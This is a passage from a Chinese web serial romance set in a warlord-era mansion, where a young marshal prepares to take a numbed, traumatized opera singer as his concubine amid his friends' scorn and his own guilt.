萧纵收回目光，不想再和管家说废话，“我已经决定了，不用再劝，尽快挑个好日子，办得盛大一些。” 管家看他沉了脸，无奈地叹了一声，虽然满心不情愿，却终究没敢再劝，只好转身退下去了。 萧纵这才再次垂眸看向苏姚，低头在她额间亲了亲：“虽然不是结婚，但这也是我第一场喜宴，等你的名分定下了，你就不会再害怕了。” 苏姚没有给他回应，仍旧睡得昏沉。 时针指向两点，金锦在外头敲了敲门，他今天有个很重要的会议，不得不参加，希望等他回来的时候，苏姚还没醒。 他又低头亲了苏姚一口，这才起身出去。 可房门一关上，苏姚的眼睛就睁开了，她侧了下头，直直地盯着门口看。 名分…… 她眼底毫无波澜。 等看见日历的时候，眼底才恢复了一点神采。 她下了地，在日历上又划掉了一天，然后换了套衣服，慢慢出了门。 她不想在屋子里呆着，有种被拴住的错觉。 虽然出去了也一样。 但她还是想去外头走一走。 佣人们刚刚找人找了大半天，此时终于得闲，正三三两两地凑在一起说话。 瞧见苏姚下来，声音瞬间停了。 众人面面相觑，满脸尴尬，早知道苏姚真的能拿到名分，他们前阵子就不拉偏架了，现在如果被报复怎么办？ 场面死寂，十分尴尬，片刻后，管后厨的孙姐堆着笑迎了上来，“真是恭喜苏小姐了，守得云开见月明，您这是要去哪，我扶你吧。” 她伸手过来，脸上带着谄媚。 苏姚明白他们为什么是这种态度，但没有心力理会。 “不用了，我自己走走。” 孙姐神情尴尬，她没注意，只慢慢往外走。 走出大门的时候，身后才响起佣人们压低的抱怨声，“还没正经办婚事呢，就拿上乔了，她这样的人，怎么就成了姨太太了呢？” “就是，希望以后的正房太太能厉害些吧。” 佣人你一言我一语地抱怨，她听得清楚，心里却毫无波澜，只慢慢朝凉亭去。 后遗症还没消退，几百米的路，她停了三次才走到，一坐下困意就涌了上来，她却没敢睡，因为有道目光一直落在她身上，她侧头看了一眼，才发现是萧翼。 “萧副官。” 她唤了一声，萧翼立刻走了过来：“苏小姐，你好些了吗？” 苏姚点点头，她还活着呢，没什么事。 倒是萧翼…… “你的伤怎么样了？很抱歉，连累你了。” 这说的是之前偷偷给她药，却被萧纵罚了的事。 “是我自己做得不够隐蔽。” 萧翼连忙摇头，“和苏小姐你没关系。” 他看着苏姚仍旧惨白的脸颊，和已经有些宽松的旗袍，心口一阵抽痛，用力侧开了头。 苏姚有些茫然，“萧副官，你怎么了？” 萧翼控制了一下情绪，苏姚不知道他的心思，他也不能说出口，只能强行控制。 “没什么……还没恭喜苏小姐，今天少帅让我拟名单，要和你办一场婚礼呢。” 口中说着恭喜，心里却满是酸楚，可他却并没有说出口。 “又给你添麻烦了。” 苏姚轻声道歉，萧翼脸色晦暗，苏姚对他的印象，好像还停留在当初自己对她冷嘲热讽的时候。 他很想解释，可又实在说不出他心甘情愿这种肉麻的话来。 他只好岔开话题，“苏小姐有没有想请的人？” 苏姚摇摇头，“没有。” “余庆班的人呢？姚师父？赵班主？” 萧翼一一列举，却发现苏姚眉眼都没有动一下，他一愣，这才发现苏姚眼底没有一丝欢喜。 “……你不想要名分吗？” 苏姚遥遥看向远方，那是帅府的后门，透过雕花的缝隙，能窥见一点外头的景致，“我想不想的，重要吗……” 萧翼顺着她的目光看过去，瞳孔微微一颤，犹豫片刻还是开了口，“苏小姐，你还是想走吗？” 第125章 戒指断了 苏姚心头一颤，让人窒息的痛苦又涌了上来。 为什么要问她这个问题？ 如果不去想的话，她就可以继续麻木下去，得过且过，活一天算一天。 为什么要问她？为什么要说“离开”这两个字？ 她低下头，呼吸急促，浑身战栗。 察觉到了她的不对劲，萧翼连忙想要来安抚她，可手抬了半天，却根本不敢落下。 “苏小姐……” 最后，是苏姚自己平复了呼吸，“走了会死的……” 她哑声开口，透过大门的缝隙，继续看着斑驳的远方，“我总得先活下去。” “如果，” 萧翼脱口而出，“我能帮你呢？” 苏姚似是没听懂，呆了好一会儿才看过来，却是缓缓摇了摇头，“我不想连累你。” 萧翼还想再说什么，苏姚就垂下了眸子，她一下下抠着自己的指尖，“其实，我也舍不得茵茵的。” 总得给自己找个理由。 而且他们还有约定没完成呢。 萧翼张了张嘴，似是还想劝他，可不等开口，秦芳年忽然路过，他只好闭了嘴，迅速拉开了和苏姚的距离。 苏姚倒没动，仍旧坐在凉亭里，一眨不眨地看向门外。 夜幕很快降下来，凉亭里灯光亮起，她一无所觉，直到身前多了一双被军靴包裹着的长腿。 她仰头，就看见了萧纵那张脸。 短暂的怔愣过后，嘴角绽出笑来，“少帅回来了。” 萧纵看见了她那短暂的停顿，看见了她身体有一刹那的颤抖。 但他只能选择无视。 压下心里日渐浓郁的酸楚，他弯腰将人抱了起来，“天都黑了，再不回去就要被吓哭了。” 苏姚配合地抱住了他的脖子，轻轻应了一声。 如此温柔小意，若不是颈侧的胳膊在细微打着颤，他一定以为他们是这世上最情投意合的人。 “我给你带了礼物。” 他敛下神情，大步进了客厅，将人放在沙发上，于修明立刻会意，捧了个包装精美的盒子过来，盒子打开，里头是一双更精致的高跟鞋。 “喜欢吗？” 他看着苏姚，语气里带了几分讨好。 换做以前，他绝对想不到，自己有一天，会连送个东西都这么小心翼翼。 “当然喜欢，谢谢少帅。” 苏姚应了一声，在他唇角落下一个极轻的吻。 萧纵的眼神却暗了下去，因为他清楚地看见，苏姚自始至终，都没看过盒子一眼。 她根本不在乎自己送了什么，甚至看都不想看。 他盖上盒子，并没有和苏姚提起，这是他亲自去挑的，本来是想婚礼那天给她穿的。 算了，再定做一双吧，让苏姚自己选。 他不自觉抓住了苏姚的手，一下下摩挲起来，但很快，他就发现了不对劲。 他垂眸看过去，就见她指尖空空如也。 短暂地怔愣了一下，他将苏姚的另一只手也握了起来，五指也是空的。 之前买的那枚戒指，不见了。 “苏姚。” 他开口就想询问，可话到嘴边又咽了下去，那是对戒，另一只他自己都不肯戴，现在苏姚的丢了，又哪来的底气质问。 他沉默了下去。 “少帅？” 苏姚困惑地看着他，显然不明白他为什么喊了自己的名字却又不说话。 “没什么。” 萧纵敷衍了一声，拉着她起身，“我带了裁缝回来，你去选一选喜欢的样式。” 苏姚仍旧乖顺地应了一声，带着裁缝铺掌柜去了茶室。 萧纵点了根烟，隔着门洞看她，管家走了过来，“少爷，万一苏姚选了婚纱或者嫁衣……” 虽然现在到处打仗，礼法混乱，但萧家这种人家还是注重礼法的。 萧纵眸色一沉，他满腔愧疚，却仍旧记得，苏姚不是正妻。 “没有这些。” 管家松了口气，“少爷有分寸就好。” 他转身要退下，苏姚却先一步走了出来，萧纵一愣，这么快？ 他的烟甚至都没抽完。 “少帅，苏小姐选了这套。” 掌柜开口，将册子递到了他面前。 萧纵扫了一眼，第一页，第一套。 他抬手掐了烟，朝苏姚走过去，“多选几套，你也该做新衣裳了。” 他不是想和以前一样，拿这些东西补偿苏姚，只是…… 目光落在苏姚的腰身上，以前没注意，现在才瞧见，她的衣裳竟然都这么宽松了。 “好。” 苏姚仍旧应了一声，不思考，不反驳，甚至没有为了表现自己的懂事而故意推辞。 两人重新回了茶室，萧纵压下心里的难受，抬手给陈施宁拨了个电话。 “你的人，在卫生间里有没有发现什么别的东西？” 虽然那对戒指买的时候不情不愿，他也始终没有戴过，但现在却莫名地想知道苏姚那枚戒指的下落。 “你别说，还真有，我还想着是不是你们的呢。” 陈施宁的声音从电话那端传过来，萧纵心里一喜，“是不是一枚戒指？” 陈施宁默了片刻才开口，语气为难，“也算吧。” “什么叫也算吧？” 萧纵蹙眉，“是就是，不是就不是，哪有什么算不算的？” “你着什么急？” 陈施宁语气里都是无奈，“我这么说当然有理由，因为它断了。” “什么？” 萧纵愣住，戒指，断了？ 第126章 始终不是第一位 “你在开玩笑吗？戒指怎么会断？” 他话里都是不可思议。 陈施宁啧了一声，“戒指断了有什么稀奇的？可能是接口没焊好吧，你要吗？我回头拜访的时候给你送过去。” 他说着想起苏姚，“苏小姐怎么样了？我一直想去看看，也没抽出空来，我还听了个笑话，说你要娶姨太太了，你说可笑不，给你拉了那么多回线你都……” 萧纵挂断了电话，将陈施宁没说完的话都截断了。 戒指竟然断了。 怪不得会掉下来。 其实陈施宁说得不错，首饰断裂不是稀奇事，可也不知道为什么，听起来就是让人很不安。 “少帅。” 苏姚的声音由远及近，他转身，就看见她带着掌柜又出来了，掌柜将册子打开给他看，“苏小姐选的这几样，请您过目。” 萧纵将册子接了过来，苏姚选的样式很好找，就是前几页，虽然听话的多选了几样，却仍旧没有上心。 拿着册子的手不自觉紧了紧，他快速翻看了一眼册子，将目光定格在一件大红旗袍上。 这已经类似于嫁衣了，并不适合苏姚的身份，可脑海里却都是剿匪回来的那天，他看见的苏姚。 也不知道是红色真的适合她，还是太久没见，小别胜新婚，总之那天的她耀眼夺目，明媚得让他移不开眼。 “少帅好眼光。” 掌柜连忙称赞，“这颜色可只有我们自家的厂子染得出来，每年也只能产两匹，多少人家想拿来做嫁衣，都得提前几年预定。” 萧纵指尖轻颤几下，最后还是翻了过去，他选了其他几个样式，“再加上这几件吧。” 掌柜面露惊讶，他看得出来萧纵应该很喜欢那件衣服，可没想到他竟然没要。 可他什么都不敢说，只连连答应几声，恭敬地接过册子，转身走了。 苏姚将人送到了门口，萧纵的目光也看了过来，却在苏姚转身的瞬间，侧开了头。 他心虚，又愧疚，几乎不敢直视苏姚的眼睛。 可他得为他的权势考虑。 “苏姚，我们去做对戒指吧？” 他低声开口，语气里却不自觉带了几分急切，他想用这个来弥补苏姚，或者说，想借此压下自己的胡思乱想。 戒指断了，再做新的就好，根本什么都不影响。 什么都不影响的。 “好。” 苏姚应了一声，“多谢少帅。” 她仰头看过来，嘴角带着浅淡的笑。 萧纵却只是看着她的眼睛，可不管怎么看，都看不出半分情绪。 仿佛身体还活着，灵魂却已死去。 他猛地抬手遮住了苏姚的眼睛，没关系的，反正人就在自己身边，他会治好她的病，会让她重新对自己生出感情。 迟早会好起来的，迟早会的。 他颤抖着收回了手，苏姚仍旧睁着眼睛看他，维持着方才的样子，她甚至没有问一句他刚才那莫名其妙的举动是什么意思。 萧纵闭了闭眼睛，再睁开时已经调整好了情绪，“你的房间也该修整一下，再打通一间客房吧。” 苏姚仍旧是一个无波无澜的“好”字。 “你就不问问，你住哪？” 他眼里带了调笑，帅府二楼还有几间客房，但他不想让苏姚搬过去。 他想让苏姚住进他房间里去，现在的苏姚随时可能发作，他得守着她才能安心。 而且…… 苏姚应该对他的房间很感兴趣，毕竟当初她可是偷偷爬过床的。 就在苏姚当年离家出走又回来之后，那时候他因为她丢了人，所以冷落了她好一阵子，苏姚自己耐不住了，就想出了这么一个法子。 可惜三楼旁人上不去，所以苏姚的勾引以失败告终，还被管家逮着机会骂了很久。 也不知道那时候她是怎么摸着黑…… 他思绪忽地一顿，苏姚那时候已经怕黑了吗？ 以往没考虑过这个问题，只当苏姚打小怕黑，可现在一回想，他竟然记得很多次，苏姚在夜里的情形。 他清楚的记得，苏姚曾经在漆黑的客厅里，整宿整宿的等他； 也清楚的记得，她一个人，在夜里偷偷摸摸地跟着他去应酬； 还有之前的爬床。 所以，苏姚，刚进帅府的时候，是没有那么怕黑的。 你是什么时候开始怕的？还怕成了那样…… 他看着苏姚，想问一句，却莫名开不了口，他有种很糟糕的预感，总觉得好像和自己也有关系。 “都好的。” 苏姚含笑开口，既不忐忑，也不好奇。 萧纵一怔，好一会儿才反应过来她回答的是自己刚才的话，她不介意自己住在哪。 心里那点隐蔽的期待和欢喜已经荡然无存，萧纵有些不想提自己的房间了。 他怕苏姚还是如同现在一样无所谓，或者更糟糕的，她会抗拒。 他没再开口，气氛有些沉凝。 但很快就被一阵脚步声打断了，萧茵小跑着冲了进来，瞧见他在，敷衍地喊了一声：“大哥。” 苏姚猛地转身看过去，刚才死水一般的眸子里，竟然生出了一点波澜。 萧纵心里啧了一声，头一回吃妹妹的醋。 苏姚对他们两人的态度，相差太多了。 可他还是压下情绪开口，“你想和茵茵一起住吗？” 苏姚的目光颤了一下，眼底亮了亮，“可以吗？” “当然。” 萧纵温声开口，“你想的话，那就搬过去……” 可不等他说完，萧茵的声音就响了起来，“我不同意。” 第127章 恩爱的假象 苏姚一愣，眼底那点神采迅速退了下去。 萧纵脸一沉：“你再说一遍。” 萧茵扭头就朝琴房跑去，“我的房间不想别人住进来，就是不同意，你凶我也没用。” 话音落下的时候，她的身影已经钻进了琴房。 “小兔崽子。” 萧纵抬脚就要去追，胳膊却被拉了一下，他回头，就看见苏姚的手正抓着她。 “你别拦我，这孩子的教训……” 嘴边的话猛地顿住，他忽然反应过来这举动的不寻常。 这是出事之后，苏姚头一回表达自己的意识，没有被惊惧和麻木打压的意识。 她本能地想要维护萧茵。 “对，对不起。” 苏姚也反应过来自己做了什么，连忙松了手，猛地往后退了两步，“我不是要插手你和萧茵的事，我只是……” “没事，没事。” 萧纵顾不上再去找萧茵算账，连忙安抚苏姚，“你忘了吗？你很快就有名分了，管教萧茵是应该的，她是你带大的，你可以插手她的事，别紧张，别紧张。” 苏姚握住他的手，试探着开口，“你不会拿走我的药，对吗？” 萧纵呼吸凝滞，却不敢多花时间平复，哑着嗓子保证，“不会，不管发生什么，我都不会拿走你的药。” 苏姚仍旧花费了很久才冷静下来。 但就算她不冷静，旁人也看不出什么来，因为她只是坐着，不动也不说话，像是在出神。 萧纵没有打扰她，却准备将婚事提得更早一些。 他忽然想起来，苏姚的生日好像快到了。 送苏姚回房的时候，他在日历上看了一眼，瞧见上面一个个被划掉的日期，忍不住笑了，原来她这么盼着过生日。 那就和婚期重合在一起吧，就把婚事定在那一天，他要给苏姚一个毕生难忘的庆典。 婚期一定，帅府立刻就忙碌了起来。 更确切的说，是整个海城都跟着躁动了起来，消息来得突然，婚期又定得这么近，不少人开始到处打听这个要飞上枝头的人到底是谁。 别说旁人，就连一向和帅府亲近的陈家都吃了一惊，陈施宁打了几次电话过来确认，最后甚至亲自带着人在路上堵住了萧纵。 “你真的要娶姨太太了？” 陈施宁满脸震惊，“怎么说娶就娶啊？我一点心理准备都没有，我老子问了我好几回，说是不是假消息，就为了刺激唐黎。” 萧纵抬手揉了下眉心，“你让陈伯父少看点话本。” 陈施宁摆摆手，“他就爱看那个，我一当儿子的可管不了。” 他说着钻进萧纵的车里，“哪家的千金？各家长辈介绍了那么多人，你都没答应，怎么忽然就有人选了？我和褚英猜了一路，还打赌了。” 他说着看了眼车外，褚英正靠在他的车里，隔着车窗看他们，“他猜是孙少甫的妻妹，我猜是何坚成的女儿，我们谁猜对了？” 萧纵这才注意到褚英也来了，他点了点头，算是打招呼，对陈施宁开口时，语气里都是无奈，“你猜的时候，就没往我身边想？” 陈施宁有些茫然，片刻后眼睛霍地一睁，不可思议道：“苏姚吗？” 萧纵不太喜欢他这副震惊的样子，他娶苏姚有什么值得稀奇的？ 可不等他开口，褚英先把头从车窗里探了出来，脸上有些僵硬，“少帅，你想好了吗？这苏姚一过门，以后你再想纳名门望族的女儿做妾可就难了，谁都不想自降身份，和一个戏子平起平坐吧？你就当个小玩意儿养着不行吗？” 萧纵五指收紧，脸色难看下去。 他其实不意外陈施宁和褚英的态度。 他们瞧不起苏姚，就和自己曾经一样，甚至是现在，他也没能把对方放在和自己一样的位置。 但是听起来仍旧觉得刺耳。 “我以为，” 他沉甸甸的眸子依次扫过两个人，“你们是来恭喜我的。” 褚英察觉到了他的不悦，收敛了一下情绪，却仍旧坚持，“朋友一场，我要为你多考虑。” 萧纵的脸色又沉了几分。 察觉到气氛不对，陈施宁连忙打圆场，“行了褚公子，别上纲上线的，人苏小姐有什么不好？出身重要吗？这么多年修成正果，也算是一桩美谈。” 这话还算好听，萧纵给了他一个笑脸，“走吧，都追到这里来了，就去我那里吃顿饭吧。” “巧了不是，” 陈施宁笑了，“我就是这么打算的。” 几人说话间，车已经进了帅府。 一下车，他就看见门口的石阶上坐着个人。 苏姚最近很喜欢这个位置，如果没人喊她，她能在这里一坐就是一天。 每次他从军部回来，一进门就能看见她。 “哟，这是在等你呢？” 陈施宁忍不住开口，话里带着点羡慕，萧纵没开口，只是大步走了过来。 直到他走到近前，苏姚才察觉到来了人。 “少帅。” 她仰头喊了一声，随即站了起来。 迎接，拥抱，亲吻。 几天下来，她的动作已经无比熟练，任谁看见，只怕都要觉得他们如胶似漆，浓情蜜意。 可萧纵身处其中，却感受不到分毫，因为现在的苏姚眼底，仍旧瞧不出丝毫情绪，甚至都瞧不见他的倒影。 苏姚根本不在意自己投入的是谁的怀抱。 可他仍旧没有拆穿，甚至还十分配合，苏姚现在还做不到发自内心地亲近他，那就先维持表面吧。 时间久了，习惯了，态度就会改变的。 他低头在她发间亲吻，低声询问她今天有没有发作。 苏姚摇摇头，萧纵心里一松，看起来苏姚的腿疾没有他想象的那么恐怖，至少这几天她都没有发作。 “哎哟喂，” 陈施宁忍不住开口，话里带着善意的调侃，“这还有人呢，你们收敛点啊。” 苏姚这才注意到还有客人，神情有些僵硬。 萧纵想起了自己曾经定下的规矩，不等苏姚反应，先一步开口，“他们今天要留下吃饭，你想和他们一起吗？” 苏姚脸上有排斥，虽然只是一闪而过，可还是被萧纵看见了。 “那就不管他们了，你可以继续在这里坐着。” 苏姚犹豫了一下，“我可以去凉亭吗？” “当然，” 萧纵连忙答应，“我送你过去。” 他揽住苏姚的腰，陪着她一步步去了后院。 “啧，” 陈施宁看着两人的背影，眼底都是羡慕，“少帅这是真开窍了，看这腻歪劲儿，哪像是在一起六年的。” 褚英没开口，只顺着两人离开的方向看了一眼，随即眸底闪过一道暗芒。 腻歪吗？ 第128章 飞醋 萧纵回来的时候，两人正在下象棋。 陈施宁不是褚英的对手，吵闹着要悔棋，两人险些打起来，见萧纵回来，褚英才松手，有些无奈道：“舍得回来了？几步路还用你送过去，重色轻友。” 陈施宁推开他：“这才像是过日子的样子。” 他走过来顶了顶萧纵，“怎么着，上回吓着了？以前你对苏姚可不是这态度。” 就在不久前，萧纵还夜不归宿呢。 萧纵指尖抖了一下，陈施宁说得对，他的确是被吓着了。 任谁看见苏姚那副样子，都要长点良心的。 何况，他本来就对苏姚有感情。 但他没把自己的异样表露出来，随口敷衍：“不是你以前总说，我对不起她吗？现在我也算是听取你的建议了。” 他不动声色地活动了一下僵硬的手指，给陈施宁扔了包烟。 “真难得，您老人家竟然肯听我的话？” 陈施宁笑了一声，侧头点了烟，却不等吸两口，猛地反应过来，“我这个脑子，我是带了东西来的，差点忘了。” 他朝外头喊了一声，立刻有伙计搬了东西进来，一个藤筐，一个盒子。 “这是我老子让我带过来的，说给苏姚的，他们什么时候见过？” 陈施宁满脸纳闷，萧纵不想多说，因为一想起那天，他就会控制不住地懊悔。 那天苏姚那么抗拒去电影院，他却非要她去。 还拿往后的药威胁他。 但凡他当时肯有一点恻隐之心，她就不会受那么多罪。 没得到回答，陈施宁也没在意，指了指藤筐，“那是虎骨，新鲜的，稀罕吧？” 他骄傲地仰起头，“我姐前两天出去打猎，带回来的，我立刻就想到了苏姚，以形补形，让她好好补补骨头。” 萧纵开口道谢，虎骨的确稀罕，这个人情他的承着。 只是不等他开口，褚英就啧了一声，“我说陈少，你也有点分寸吧，那小戏子可是要有名分了，你再这么惦记不合适。” “龌龊了啊。” 陈施宁骂了一声，扭头看向萧纵，“以前是以前，现在都正经过门了，我肯定不惦记了，我这纯粹是好心。” “惦记也没事。” 萧纵笑了一声，云淡风轻地开口，“她又看不上你们。” 陈施宁既好气又好笑，“你看你那样，嘚瑟什么呀？” 他开口想挤兑萧纵几句，却忽然想起来一茬，“你那个副官怎么回事？” 他说的是萧翼，上回他表现得太明显，连陈施宁都发现了。 “就是你想的那么回事。” “你知道啊？” 陈施宁满脸的不可思议，“你知道还把人留着？” “我难道连这点器量都没有吗？” 萧纵轻哂一声，越发气定神闲。 陈施宁被噎住了，许久才开口，“少帅就是少帅，我服了，我得敬你一杯。” 他喊人给他拿酒，又想起沈知聿来，“把沈爷请过来吧，咱哥几个喝一杯。” 他起身要去打电话，却被萧纵一把拉住，“他不能来。” “啊？” 陈施宁一愣，“为什么呀？这就少他了。” “你们也知道，他忙。” 萧纵面不改色地开口，脑子里却都是上回凉亭里，他把苏姚逗笑的场景。 陈施宁也反应过来，被萧纵气笑了：“你器量呢？小爷还真以为你多大度呢。” 萧纵嘴唇动了动，似是要为自己辩解，却不等开口，电话就响了起来，他顺手接了，几秒后忍不住笑起来，“巧了不是，就差他了。” 萧纵眉心一跳，这话听着，怎么像是…… “门卫说沈爷来了，”陈施宁看了过来，满脸的幸灾乐祸，“总不能把人撵出去吧？” 萧纵咬肌慢慢绷紧，他来干什么？ 陈施宁想着看好戏，迫不及待出去迎接，他也不得不站了起来，却一把拉住了管家，“你去后头看看，暂时别让苏姚进来，但不能直说，懂吗？” 管家有些莫名其妙，这是什么古怪的吩咐。 但他只是叹了口气，就老老实实地往后头去了。 今天天气不太好，看这样子，夜里可能会下雨。 苏姚仰头看了一眼，很快便收回目光，仍旧盯着后门，透过缝隙，看外头并没有什么特别的景色。 管家看了她两眼，才慢慢走近，语气难得平和，甚至有些语重心长，“你在帅府呆了这么多年，其实不需要注重仪式的，你这个身份，排场再大也没用。” 他这话早就想说了，只是原本是该告诉萧纵的，可又因为太了解对方的脾气，知道劝不动，所以只好来劝苏姚。 苏姚却没有反应，他脸拉了下去，正要再开口，对方忽然站了起来，往前走了两步。 “怎么了？” 他还以为苏姚要回去，下意识拦住了路。 苏姚却没理他，只看着不远处的草丛。 刚才她怎么好像看见草丛里有个人？ 错觉吗？ 她盯着草丛又看了两眼，里头却再没了动静。 她抬脚过去查看，可刚拐过一道花圃，面前就多了道人影，她盯着对方看了两眼才认出来，“褚公子？” 褚英没开口，只垂下眸子，上上下下地打量她。 苏姚不舒服，她如今对人的情绪没有以往敏锐，可面前人的目光，却让她产生了很强烈的不适。 她慢慢往后退了一步：“你有事吗？” 看出她的戒备，褚英嗤了一声，眼底满是鄙夷，“真是不知死活，当初怎么就没能把你吓走呢？就因为有你这样的人在前面挡路，萧纵才一直没能联姻。” 苏姚没听懂前两句话，却仍旧察觉到了褚英对她的恶意。 她又往后退了一步，褚英却猛地逼近，神情阴鸷，“你知不知道，我上了萧纵这条船，是要靠他翻身的？他现在却要娶你这样的人，自毁前程。” 苏姚抬眸看过去，这个男人，像个疯子。 “你过来，就是为了发火吗？” 她过于冷静，倒是让褚英有些错愕，片刻后他恢复了原本的样子，微微侧头拽了下领口，语气一如既往地倨傲，“没什么，只是告诉你，你最好说服萧纵取消婚典，不然……” 他哂了一声，垂眸死死盯着她，眼底仿佛淬了毒。 管家似是察觉到了不对劲，抬脚走了过来，“褚公子，您不回去赴宴吗？” 褚英又看了苏姚一眼，转身走了。 管家这才蹙起眉头，“你也是要有名分的人了，就不知道避嫌吗？” 苏姚没开口，只是有点好奇，褚英会做什么呢？ 第129章 你觉得是辱没 萧纵在会客室里简单设了宴，等人都落了座，褚英才姗姗来迟。 “去花园了？” 萧纵挑眉，目光落在他鞋底露出来的一点草屑上。 “嗯，不能白来，你这里的花一直养得好，我就想着摘一些，好回去孝敬太太。” 他拉开椅子坐了下来，“可惜，我这笨手笨脚的，摘得不成样子，只能劳烦府上的人了。” 萧纵看了他两眼，才吩咐佣人去摘花。 “你这孝心可了不得。” 陈施宁忍不住打趣，褚家的情况和萧家差不多，但褚父比萧远山拎得清，虽然也娶了好几房太太，却始终很敬重正房。 因为正房膝下没有儿子，还勒令庶出的几房孩子常去正房那里请安，可以说，谁若是得了正房太太的青眼，谁就能在褚家站稳脚跟。 所以褚英对褚太太比对自己的生母还要上心，只是褚家的孩子太多了，他是前几年搭上了萧纵这条船，才得了褚父的栽培。 可以说，他的荣辱前程，都系在萧纵身上。 但这些内情，众人并不会拿到面上来说，调侃两句就作罢。 沈知聿将一个文件夹递过来，“靶场的研究成果出来了，你们都在，倒是省了我再跑一趟。” 萧纵抬手接过，却并没有信了沈知聿这套说辞，沈家难道没人了吗？需要沈知聿这个当家人亲自来送？ 他看了男人一眼，笃定他就是找个理由故意过来的。 胳膊忽然被顶了一下，他侧头，就见陈施宁正对着自己挤眉弄眼，意思十分明显。 他脸上挂不住，一个肘击顶在对方胸口。 陈施宁哀嚎一声，伏在了桌子上。 萧纵没理他，开了瓶珍藏的好酒，“过几天是个好日子，劳烦各位来给我撑撑场面，喝杯喜酒。” 他亲自给众人倒了酒，轮到沈知聿时，他微微顿了一下，“尤其是你，再忙也腾个时间过来。” 沈知聿双手接了他的酒，显然已经知道了他要娶亲的事，“当然，我还是苏老板的戏迷，这种好日子，当然要来。” 他神情自若，是头一个没有对他要给苏姚名分的事感到惊讶的人。 可萧纵却只觉得那句“苏老板的戏迷”十分刺耳。 他好像，都没正经听过苏姚唱戏。 同床共枕那么多年，他竟然一次都没听苏姚唱过戏。 心里有些懊恼，他看沈知聿越发不顺眼—— 这家伙是不是知道这一点，才故意提起的？ 他咬牙开口，“原来你喜欢听她的戏，可惜，她现在不登台了，回头要是她有心情了，我给你下帖子，请你来府里听。” 他刻意加重了“府里”两个字。 沈知聿却面不改色，抬手敬酒，“那就多谢少帅了。” 萧纵没想到他会顺杆往上爬，脸色一时有些僵硬。 陈施宁伏在桌面上又笑了起来，大约是刚才被萧纵那一下肘击顶的胸口疼，他一边笑，一边揉心口，听得萧纵想再给他一下。 好在陈施宁很快就控制住了自己，压低声音开口，“我说少帅，人沈爷应对得没错啊，你发了邀请，人家总不能拒绝吧？你别老胡思乱想，苏姚又不是万人迷，还能是个男人就喜欢她？” 萧纵面无表情看他一眼，“我在乎吗？” 陈施宁瘪瘪嘴，就差写在脸上了，还嘴硬…… 但他也没拆穿，很快就岔开话题和几人聊了起来。 外头淅淅沥沥地下起雨来，萧纵有些不放心苏姚，索性起身出去看了一眼，可一转头，却见沈知聿跟了出来。 “怎么，有话和我说？” 他停下脚步，靠在了门口的柱子上，并没有打算让沈知聿去见苏姚。 陈施宁看不出来他们的浓情蜜意有问题，可沈知聿是个人精，在他面前装模作样维持脸面，是没用的，他不想被拆穿。 “看少帅好像误会了什么，来解释两句。” 沈知聿走过来，给萧纵递了根烟。 萧纵一哂，“误会什么？你别多想，我可没那么多心思吃醋。” 话音落下，他才反应过来自己说错了话，脸色有一瞬间的凝滞。 片刻后他才接过烟，若无其事地侧头点上，沈知聿也没抓着不放，岔开了话题，“既然这么在乎，为什么只是个姨太太？” 萧纵一愣，不可思议地看着他，“你在说什么？姨太太还不够吗？” 沈知聿吐了个烟圈，“新民法说，人人平等。” “糊弄人的说法而已，你还真信了。” 萧纵磕了磕烟灰，透过帅府大门遥遥看向外头，“有人就会有阶级，这是物种的天然法则，不管是什么世道，都不可能改变。” 他侧头看过来，“沈知聿，别告诉我，你觉得我辱没了苏姚。” “是不是辱没，少帅自己知道。” 沈知聿并不想多聊，别人的事他也不好过多插嘴。 可这句话却刺中了萧纵心里最隐蔽的愧疚。 他不知道女人想要的是明媒正娶吗？ 可他怎么可能把萧太太这个能换取巨大利益的位置，给苏姚呢？ 他想起那件明明很适合苏姚，却又被他强行放弃的旗袍，心头发紧，有些恼羞成怒。 “沈知聿，我们的事轮不到你插嘴，你说是辱没，可所有人都明白，若不是为了补偿，苏姚怎么可能拿到名分？” 他把没抽完的烟扔在地上，抬脚狠狠碾灭，“你与其在这里和我说这些莫名其妙的话，不如去问问苏姚，你问问她，她有没有对这个位置不满意，她觉得自己配不配得上萧太太的位置，你去问她啊！” 萧纵一长串话说完，呼吸都有些急促。 沈知聿却始终没开口，只看着他。 “看什么？” 萧纵被看得恼火，“不会说话？” 沈知聿仍旧没开口，耳边却响起了另一道呼唤—— “少爷。” 是管家的声音，萧纵不耐烦地看过去，却在下一瞬僵住了身体。 苏姚就在管家身边。 喜欢少帅又把老婆气跑了请大家收藏：()少帅又把老婆气跑了更新速度全网最快。 第130章 我配不上的 “苏，苏姚。” 片刻后他才回神，大步走了过去，想说些什么，可看着苏姚那张平静的脸，又忽然噎住了。 半晌，他才开口，“你们怎么过来了？” 说着他看向管家，眼底带着谴责。 管家神情很尴尬。 他一直找借口将苏姚留在后院，可都开始下雨了，实在是不能再把人留在外头，只好往回走，哪里想到，刚好碰见两人争吵。 其实萧纵说的话没有错，只是听起来不好听而已。 可萧纵仍旧不敢直视苏姚，他犹豫了很久，才抬手去抓她的手，碰到的瞬间，竟古怪地生出一股期待来，他竟然希望苏姚推开他。 就和之前她委屈的时候，对他失望的时候一样，用力推开他。 把不满发泄出来。 可苏姚没有，她站在原地，神情平和得近乎麻木。 这么近的距离，她不可能没听见自己刚才说了什么。 可她却一丝反应都没有。 心头忽然涌上来一股巨大的惊慌，他恍然有种，自己再也不可能挽回苏姚的错觉。 呼吸有些乱，他更紧地抓住了苏姚的手。 “少帅，” 苏姚轻轻开口，萧纵连忙看过去，苏姚嘴唇轻启，“疼。” 萧纵垂眸，这才看见，自己把她的手腕抓红了。 他连忙松开，又给她揉了两下，苏姚看了看房间，“我想回去睡了。” 萧纵眼神一顿，很想问问她有没有什么话想说，可盯着苏姚死水一般的眼睛，话在嘴边转了几个圈，却又咽了回去。 “去吧。” 他松开手，苏姚抬脚往前，路过沈知聿的时候，脚步却停了下来。 “沈爷，我配不上的。” 这话没头没尾，可萧纵和沈知聿却都听懂了。 心脏猛地一窒，萧纵的身体控制不住地颤了一下。 说完那句话，苏姚就抬脚就进了门，多余一个字都没和沈知聿说，甚至于连一句谢谢都没有。 可萧纵还是察觉到了不寻常，他早就在萧翼的交代中知道了沈知聿对苏姚有过两次救命之恩，苏姚不是个忘恩负义的人，不可能对救命恩人是这种态度。 她之所以没有和沈知聿道谢，只有一个解释，她不想给他惹麻烦。 最近苏姚什么都不在乎，什么都无所谓，她已经很久很久，没这么用过心了。 陈施宁嘲笑他杞人忧天，可他不明白，自己介意的从来都不是有多少人觊觎苏姚，而是苏姚，会不会对旁人生出心思。 就像沈知聿，他或许不会喜欢苏姚，但他会吸引她。 